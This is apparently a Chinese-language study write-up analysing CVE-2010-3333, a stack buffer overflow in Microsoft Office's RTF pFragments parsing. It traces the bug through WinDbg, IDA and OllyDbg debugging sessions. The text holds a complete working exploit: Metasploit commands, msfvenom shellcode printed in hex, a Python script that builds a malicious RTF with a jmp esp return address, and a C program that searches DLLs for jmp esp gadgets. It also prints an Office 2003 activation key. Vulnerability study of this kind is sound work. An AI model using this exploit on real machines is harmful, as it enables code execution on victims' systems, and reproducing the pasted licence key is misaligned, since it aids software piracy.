-
这是《漏洞战争:软件漏洞分析精要》中分析的第二个栈溢出漏洞,在上一篇文章中,对栈溢出已经很熟悉了,我们继续加强这方面的知识。
-
CVE-2010-3333
是一个栈溢出漏洞,该漏洞存在于 Microsoft Office XP SP3、Office 2003 SP3、Office 2007 SP2、Office 2010 等多个版本中。
-
其原理是 Open XML 文件格式转换器在处理 RTF 中的pFragments
属性值时,没有正确计算属性值占用的空间大小,导致了栈溢出漏洞的发生。
Microsoft Office XP SP3、Office 2003 SP3、Office 2007 SP2、Office 2010
-
windbg
动态调试技术。
-
加强理解栈溢出漏洞
-
SEH 异常处理机制
继续用metasploit
来演示漏洞的利用过程。
注意
Office 2003 激活码 GWH28-DGCMP-P6RC4-6J4MT-3HFDY
MSO.DLL 版本:11.0.5606.0
MSO.DLL 路径:C:\Program Files\Common Files\Microsoft Shared\OFFICE11
- 搜索 exp
searc cve-2010-3333
- 使用
use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
- 设置 target
set target 6
- 执行
expolit
- 发送 msf.rtf 到靶机
简单的示例
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
|
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > search cve-2010-3333
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/windows/fileformat/ms10_087_rtf_pfragments_bof 2010-11-09 great No MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > use 0
[*] Using configured payload windows/meterpreter/reverse_tcp
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > info
Name: MS10-087 Microsoft Word RTF pFragments Stack Buffer Overflow (File Format)
Module: exploit/windows/fileformat/ms10_087_rtf_pfragments_bof
Platform: Windows
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Great
Disclosed: 2010-11-09
Provided by:
wushi of team509
unknown
jduck <jduck@metasploit.com>
DJ Manila Ice, Vesh, CA
Available targets:
Id Name
-- ----
0 Automatic
1 Microsoft Office 2002 SP3 English on Windows XP SP3 English
2 Microsoft Office 2003 SP3 English on Windows XP SP3 English
3 Microsoft Office 2007 SP0 English on Windows XP SP3 English
4 Microsoft Office 2007 SP0 English on Windows Vista SP0 English
5 Microsoft Office 2007 SP0 English on Windows 7 SP0 English
6 Crash Target for Debugging
Check supported:
No
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME msf.rtf yes The file name.
Payload information:
Space: 512
Avoid: 1 characters
Description:
This module exploits a stack-based buffer overflow in the handling
of the 'pFragments' shape property within the Microsoft Word RTF
parser. All versions of Microsoft Office 2010, 2007, 2003, and XP
prior to the release of the MS10-087 bulletin are vulnerable. This
module does not attempt to exploit the vulnerability via Microsoft
Outlook. The Microsoft Word RTF parser was only used by default in
versions of Microsoft Word itself prior to Office 2007. With the
release of Office 2007, Microsoft began using the Word RTF parser,
by default, to handle rich-text messages within Outlook as well. It
was possible to configure Outlook 2003 and earlier to use the
Microsoft Word engine too, but it was not a default setting. It
appears as though Microsoft Office 2000 is not vulnerable. It is
unlikely that Microsoft will confirm or deny this since Office 2000
has reached its support cycle end-of-life.
References:
https://nvd.nist.gov/vuln/detail/CVE-2010-3333
OSVDB (69085)
https://docs.microsoft.com/en-us/security-updates/SecurityBulletins/2010/MS10-087
http://www.securityfocus.com/bid/44652
http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=880
View the full module info with the info -d command.
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > set target 6
target => 6
msf6 exploit(windows/fileformat/ms10_087_rtf_pfragments_bof) > exploit
[*] Creating 'msf.rtf' file ...
[+] msf.rtf stored at /Users/james/.msf4/local/msf.rtf
|
将msf.rtf
发送到靶机,先打开 word,windbg 附加到winword.exe
进程, g
命令继续执行,然后打开msf.rtf
,看到如下显示
断在30e9eb88 f3a5 rep movs dword ptr es:[edi],dword ptr [esi]
看来是重复复制数据出错了。!address edi
命令看到这个位置的内存权限是PAGE_READONLY
,是只读内存地址,造成访问违例。
重新启动 word,windbg 附加,g
命令先让 word 运行起来,然后暂停设置断点bp 30e9eb88
成功断了下来,我们分析一下rep movs
指令,这个指令是重复复制数据。
edi
是目标地址,esi
是源地址,ecx
是复制的字节数。
rep movs
指令会重复执行movs
指令,movs
指令是将esi
指向的数据复制到edi
指向的地址
然后esi
和edi
都会向前移动一个字节,ecx
减 1,直到ecx
为 0 为止。
而edi
处于栈中,复制的长度超过0x10
可覆盖到ebp
, 长度超过0x10+0x4
可覆盖到返回地址。
观察 ecx
,ecx = eax << 2
。eax == 0xc8ac
, 这个值来自我们生成的样本,pFragements 属性值的第三个字段偏移 8 个字符后的四个字符。
后面紧跟着的是 payload,也就是 esi 指向的数据。
可以确定是由于没有对长度进行检查,导致出现了栈溢出漏洞。
我们需要了解一下 RTF 文件格式,然后再动态分析 rtf 解析过程,结合 IDA 分析完整的调用链。最终我们手动构造一个 RTF 文件,触发漏洞。
什么是RTF文件?
RTF(Rich Text Format)是一种常用的文本文件格式,
它可以用于存储文本文件,并保留文件中的格式、字体、图像和其他信息。
RTF 文件可以被许多常见的文本编辑器打开和编辑,包括 Microsoft office Word。
RTF 文件是由一系列的控制字符和文本组成的。这些控制字符用于定义文本的格式、字体和图像等信息。
文本编辑器读取这些控制字符,并将它们转换为文档中的格式信息。RTF 文件通常以".rtf"为扩展名。
与其他文本文件格式相比,RTF 文件具有较高的兼容性,可以在多种文本编辑器之间轻松传输,而不会丢失文件中的格式信息。
这使得 RTF 文件成为了一种常用的文本文件格式。
例如上面生成的样本{\rtf1{\shp{\sp{\sn pFragments}{\sv 1;5;11111111acc841613......}}}}
这段 RTF 文本是一个文本片段的定义。它使用了一些 RTF 控制字符来定义文本片段的格式和信息。
示例
具体来说,它使用了以下 RTF 控制字符:
{\rtf1}
用于指定 RTF 文档的版本,1 表示 RTF 1.0 版本。
{\shp}
用于定义一个形状。
{\sp}
用于为形状指定属性。
{\sn pFragments}
\sn 指示一个属性名称为pFragments
。用于指定形状的 pFragments
属性。
{\sv 1;5;11111111acc841613......}
\sv 控制字指定属性值,为 pFragments
属性指定一个值。
来到发送溢出的这条指令。查看堆栈
IDA 查看这条指令的上下文。
在 IDA 中我们将 sub_30E9EB62
命名为 vulnFunc
函数,查看栈回溯定位哪个函数调用了vulnFunc
。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
0:000> kn
# ChildEBP RetAddr
WARNING: Stack unwind information not available. Following frames may be wrong.
00 001237f0 30f4cdbd mso!Ordinal6426+0x64d
01 00123820 30f4a597 mso!Ordinal753+0x306e
02 00123a6c 30d4b199 mso!Ordinal753+0x848
03 00123a94 30d4b148 mso!Ordinal4196+0x61f
04 00123a98 30d4ae32 mso!Ordinal4196+0x5ce
05 00123a9c 014d14c8 mso!Ordinal4196+0x2b8
06 00123aa0 014d1500 0x14d14c8
07 00123aa4 014d13b0 0x14d1500
08 00123aa8 30dc9d44 0x14d13b0
09 00123aac 00000000 mso!Ordinal2940+0x158fc
0:000> ub 30f4cdbd
mso!Ordinal753+0x305a:
30f4cda9 23c1 and eax,ecx
30f4cdab 50 push eax
30f4cdac 8d47ff lea eax,[edi-1]
30f4cdaf 50 push eax
30f4cdb0 8b4508 mov eax,dword ptr [ebp+8]
30f4cdb3 6a00 push 0
30f4cdb5 ff750c push dword ptr [ebp+0Ch]
30f4cdb8 e8a0feffff call mso!Ordinal753+0x2f0e (30f4cc5d)
|
定位到是30f4cc5d
调用了漏洞函数,windbg 对这里下断点,跟进去,发现在30F4CC93
的位置调用了vulnFunc
函数。
接着我们再次来到出现漏洞的指令。
看下面的位置,我们已经知道了 eax 来自我们生成的样本,表示复制的大小,那么为什么要左移 2 呢?因为movs dword
每次复制 dword(4) 字节。
复制的就是样本中的构造的数据
基于上面的分析,我们还需要了解一下堆栈的变化,返回地址的位置。才能手动构造样本。
windbg 不好观察,我们用 OD 调试,然后观察堆栈的变化。
上面的图中看到,偏移 0x14 的位置是返回地址,覆盖这个地址就能控制程序的执行流程。
仔细观察,复制的目标地址距离返回地址 0x14 字节,所以我们构造的样本,前 0x14 字节随机填充,然后加上 rop 跳板指令,加上 0x14 个随机字节,加上 payload。
为什么 payload 前面还要加上 0x14 大小的数据? 因为30f4cc5d函数
(调用 vulnFunc 的函数)末尾返回指令是retn 14h
1
2
3
4
5
6
7
8
9
10
11
|
.text:30F4CD4E mov al, [ebp+var_1]
.text:30F4CD51
.text:30F4CD51 loc_30F4CD51: ; CODE XREF: sub_30F4CC5D+56↑j
.text:30F4CD51 pop esi
.text:30F4CD52 pop ebx
.text:30F4CD53
.text:30F4CD53 loc_30F4CD53: ; CODE XREF: sub_30F4CC5D+1329D0↓j
.text:30F4CD53 pop edi
.text:30F4CD54 leave ; High Level Procedure Exit
.text:30F4CD55 retn 14h ; Return Near from Procedure
.text:30F4CD55 sub_30F4CC5D endp
|
返回时会弹出 0x14
大小的栈空间,所以我们需要填充 0x14
字节的数据,使得 esp
指向 payload,从而
jmp esp
执行成功。
先用 msfvenom 生成 payload
1
2
3
4
5
6
|
❯ msfvenom -a x86 -p windows/exec cmd=calc.exe -f hex
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder specified, outputting raw payload
Payload size: 193 bytes
Final size of hex file: 386 bytes
fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500
|
然后后用 python 构造样本
1
2
3
4
5
6
7
8
9
10
11
12
13
|
length = "0010"
jmp_esp = "cc3ad977"
shellcode = "fce8820000006089e531c0648b50308b520c8b52148b72280fb74a2631ffac3c617c022c20c1cf0d01c7e2f252578b52108b4a3c8b4c1178e34801d1518b592001d38b4918e33a498b348b01d631ffacc1cf0d01c738e075f6037df83b7d2475e4588b582401d3668b0c4b8b581c01d38b048b01d0894424245b5b61595a51ffe05f5f5a8b12eb8d5d6a018d85b20000005068318b6f87ffd5bbf0b5a25668a695bd9dffd53c067c0a80fbe07505bb4713726f6a0053ffd563616c632e65786500"
payload = r"{\rtf1{\shp{\sp{\sn pFragments}{\sv 5;5;11111111"
payload += length
payload += "0" * (0x14 * 2)
payload += jmp_esp
payload += "0" * (0x14 * 2)
payload += shellcode
payload += "}}}}"
with open("shellcode.rtf", "w") as f:
f.write(payload)
|
如何获取 jmp esp 的地址?
引用《0day 安全:软件漏洞分析技术》这本书 3.2.2 节的代码
搜索各个进程空间来获取jmp esp
地址
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
#include "stdafx.h"
#include <stdio.h>
#include <windows.h>
#define DLL_NAME "user32.dll"
int main()
{
BYTE *ptr;
int position,address;
HINSTANCE handle;
BOOL done_flag=FALSE;
handle=LoadLibrary(DLL_NAME);
if(!handle)
{
printf("load dll error");
return 0;
}
ptr=(BYTE *)handle;
for(position=0;!done_flag;position++)
{
try
{
if(ptr[position]==0xFF &&ptr[position+1]==0xE4)
{
int address=(int)ptr+position;
printf("OPCODE found at 0x%x\n",address);
}
}
catch(...)
{
int address=(int)ptr+position;
printf("END OF 0x%x\n",address);
done_flag=true;
}
}
getchar();
return 0;
}
|
将生成的样本放到目标机器上,然后打开,成功弹出计算器。
python 脚本中 payload 填充 0, 是因为调试的过程中发现有多处跳转, 需要跳过才能到达函数末尾,经过分析,填充 0 可满足要求。
什么是SEH?
SEH(结构化异常处理)是一种在 Windows 操作系统中处理异常的机制。它通过使用特殊的指令和数据结构来捕获并处理程序在运行时发生的异常,例如除零错误、内存访问越界以及其他类型的错误。SEH 机制通常用于调试程序,但它也可以被恶意程序利用来执行攻击。
它的工作原理是通过将异常处理程序的地址存储在一个特殊的内存结构中,并在异常发生时调用该程序来处理异常。这种内存结构称为 try/except
块。
当程序运行时,如果遇到了一个不能处理的异常,操作系统就会查找 try/except
块来寻找能处理该异常的程序。如果找到了,则调用该程序来处理异常。
SEH 机制最初是用于调试程序的,因为它可以帮助程序员更好地控制程序在运行时发生的错误。然而,它也可能被恶意程序利用来执行攻击。例如,攻击者可能会在内存中植入恶意代码,并将该代码的地址设置为异常处理程序的地址。当异常发生时,操作系统就会调用恶意代码,从而实现攻击。
SEH 机制使用了一种称为 FS 段的内存段来存储异常处理程序的地址。FS 段是一个特殊的内存段,它由操作系统创建,并在程序启动时自动初始化。
FS 段通常包含两个重要的数据结构:一个称为 TEB(线程基本块)的结构体和一个称为 PEB(进程基本块)的结构体。TEB 存储了当前线程的信息,包括线程 ID、线程栈的地址以及线程特定的数据。PEB 则存储了当前进程的信息,包括进程 ID、可执行文件的路径和其他相关信息。
FS 段还包含一个称为链表的数据结构,用于存储异常处理程序的地址。链表由一个头部指针和若干个节点组成。每个节点都存储了一个异常处理程序的地址以及下一个节点的地址。当异常发生时,操作系统会从链表的头部指针开始遍历链表,寻找能处理该异常的异常处理程序。一旦找到了能处理该异常的程序,就会调用该程序来处理异常。
总之,SEH 机制使用了 FS 段来存储异常处理程序的地址。
用 OD 对漏洞指令下断点。点工具栏查看->SEH链->右键堆栈跟随
,如下图所示,看到了 SEH 结构
我们简单的理解一下,当程序发生异常的时候,exception_handler 回调函数接收系统传递的错误码和发生异常的地址,调用注册的异常处理程序。
所以堆栈需要填充大量的数据,覆盖到 SEH 结构,从而劫持 EIP。
简单计算覆盖栈的大小为:0x12ffb4 - 0x1237e0 = 0xc7d4
至此,我们学习了 SEH 相关知识。在后续的学习过程中我们也会不断的加强深入。